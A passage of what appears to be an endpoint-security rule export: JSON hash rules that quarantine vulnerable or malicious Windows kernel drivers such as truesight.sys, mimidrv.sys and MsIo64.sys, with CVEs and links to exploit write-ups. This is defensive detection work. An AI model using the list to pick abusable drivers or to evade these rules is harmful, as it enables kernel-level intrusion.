+  "creation_date": "2026-03-23T11:45:30.835894Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835900Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "868ffecf2f6ab6e58385d83429b014bd3214ff51393caa1dd1cb39719fc9183e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0ea1c3fd-b768-5c58-af3d-397e1a10095b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490332Z",
+  "creation_date": "2026-03-23T11:45:31.490334Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490340Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "42ba46e7106efb977fc9c2a4a9859d2fb67168f19608481e93209c5a3516c7ea",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0eb022b3-d37e-5557-8772-fef9681d0723",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975202Z",
+  "creation_date": "2026-03-23T11:45:29.975204Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975209Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd688dc0e5b7b6c5e506c153d4c52ab7023b27a438423ccf77bf61be4d1971b6",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0eb22133-3a01-5ee5-ae44-dce7a2c3aa73",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622776Z",
+  "creation_date": "2026-03-23T11:45:29.622778Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622783Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "21a8aa12aa944658f05694243e4d7b9ba07ea24447b539d40977e9b7fa19fed1",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0eb7996f-0af7-509c-b6d1-458eb0fb977a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493257Z",
+  "creation_date": "2026-03-23T11:45:31.493259Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493265Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "31124ab8f3da114ab87b46dbb42758254a69c41d24a4a99416eb73295b0022a1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0ebbc04a-ded6-5fa7-8480-5d93c4a24fc7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612422Z",
+  "creation_date": "2026-03-23T11:45:29.612424Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612429Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c64d4ac416363c7a1aa828929544d1c1d78cf032b39769943b851cfc4c0faafc",
+  "comment": "ASUS WinFlash vulnerable driver (aka ATSZIO.sys and ATSZIO64.sys) [https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0ebc7407-0cb7-5793-abd0-aecc61c5bf3e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967938Z",
+  "creation_date": "2026-03-23T11:45:29.967940Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967955Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d31118a2e92377ecb632bd722132c04af4e65e24ff87743796c75eb07cfcd71",
+  "comment": "Vulnerable Kernel Driver (aka Netfilter.sys) [https://www.loldrivers.io/drivers/9454a752-233e-4ba2-b585-8da242bf8f31/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0ebf02c3-27cb-59a9-8cdf-d10a2f02c6fb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466441Z",
+  "creation_date": "2026-03-23T11:45:30.466444Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466452Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19dfacea1b9f19c0379f89b2424ceb028f2ce59b0db991ba83ae460027584987",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0ecc43c5-540c-5e83-b96a-460b260c2dd9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611342Z",
+  "creation_date": "2026-03-23T11:45:29.611344Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611349Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c2159219e9986ab9e07e00a87fb83835230a2b99174e7f9b94096046c2dace55",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0ecc7a9a-6c61-599b-b62d-111887236147",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489751Z",
+  "creation_date": "2026-03-23T11:45:31.489754Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489762Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2f84bb12accc91d67a916636f3a903ab4d1b5c917b2302c112717d55dd33cc14",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0ed18a86-20c4-5dbc-bf69-3f2a68288627",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614963Z",
+  "creation_date": "2026-03-23T11:45:29.614965Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614970Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e005e8d183e853a27ad3bb56f25489f369c11b0d47e3d4095aad9291b3343bf1",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0ed604ba-056f-536d-8813-f1ae7ba2bd39",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141166Z",
+  "creation_date": "2026-03-23T11:45:31.141168Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141173Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b942cb3421f66bdc6895200054232f2b22af6995d34a513df6259c30bf1d0d9d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0edd54dd-d2ca-58f2-800c-3f950859b34e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614232Z",
+  "creation_date": "2026-03-23T11:45:29.614234Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614239Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0d0962db9dc6879067270134801ad425c1f3e85b0dc39877c02aaa9c54aca14e",
+  "comment": "MICSYS Technology driver (aka MsIo64.sys) [CVE-2019-18845] [https://github.com/kkent030315/MsIoExploit] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0eeff0d9-0809-5a44-9310-f04f765bd841",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475763Z",
+  "creation_date": "2026-03-23T11:45:31.475767Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475777Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1b2bf79d88646a1a1afbb4677ca1622e3db71f1f06869fa8751ba19c5ce61134",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0ef8eb06-9289-5272-b9bb-5c989acd5ba7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142054Z",
+  "creation_date": "2026-03-23T11:45:31.142056Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142062Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "639cfdb6dfe53be18dfc5974089a361c23b0ecfe0ff346bf451098b5c44b2dde",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0f038925-9423-53d8-a9de-d7fbf47fc3fe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604790Z",
+  "creation_date": "2026-03-23T11:45:29.604792Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604797Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a3d65e0f04514f60acaa70f934e3e888211301566415822e6326fa930a551ba1",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0f0f7f17-bc8d-5ea0-a0ae-ac6f2604d7ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617483Z",
+  "creation_date": "2026-03-23T11:45:29.617485Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617491Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5c04c274a708c9a7d993e33be3ea9e6119dc29527a767410dbaf93996f87369a",
+  "comment": "ATI Technologies vulnerable GPU flash tool (aka atillk64.sys) [CVE-2020-12138] [https://www.loldrivers.io/drivers/61514cbd-6f34-4a3e-a022-9ecbccc16feb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0f1813f7-faf0-5901-9d9e-e7eaf2038f19",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495510Z",
+  "creation_date": "2026-03-23T11:45:31.495512Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495518Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3df8f062d6b16b4615c8d170437a8d0ce8fc2de10b812b35b2c21b6b2f9c6d96",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0f1970d6-86f1-5867-a80b-d84588939106",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146294Z",
+  "creation_date": "2026-03-23T11:45:31.146296Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146302Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d65b29640c75a2364e22f07cd647c1bd1c441a677d79f3b8a75260b3d2dbecb3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0f1aabc3-b617-52dd-99e5-aec4be6abc44",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827497Z",
+  "creation_date": "2026-03-23T11:45:31.827499Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827505Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "af80b334ef86d05d652a4eaa6edbf8544283e78752c5c84ec84d13edca228129",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0f1e891c-bbf5-5af5-a51b-f2a93b526d20",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479601Z",
+  "creation_date": "2026-03-23T11:45:30.479603Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479609Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "548c44566d19ba0975c9a22e7b592fda45bfa8831e56f55c1c3e7241d84dd175",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO64I.SYS) [https://www.loldrivers.io/drivers/080a834f-3e19-4cae-b940-a4ecf901db28/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0f210936-fe6d-5ff6-8357-9ac8ecbcaf53",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490945Z",
+  "creation_date": "2026-03-23T11:45:31.490957Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490966Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "93e6ee9a67a9720669944e22d76019b3b5cd63a4ca99dafc25a446c6136ed322",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0f21fe95-0426-517d-893e-112dd119ae07",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820969Z",
+  "creation_date": "2026-03-23T11:45:31.820972Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
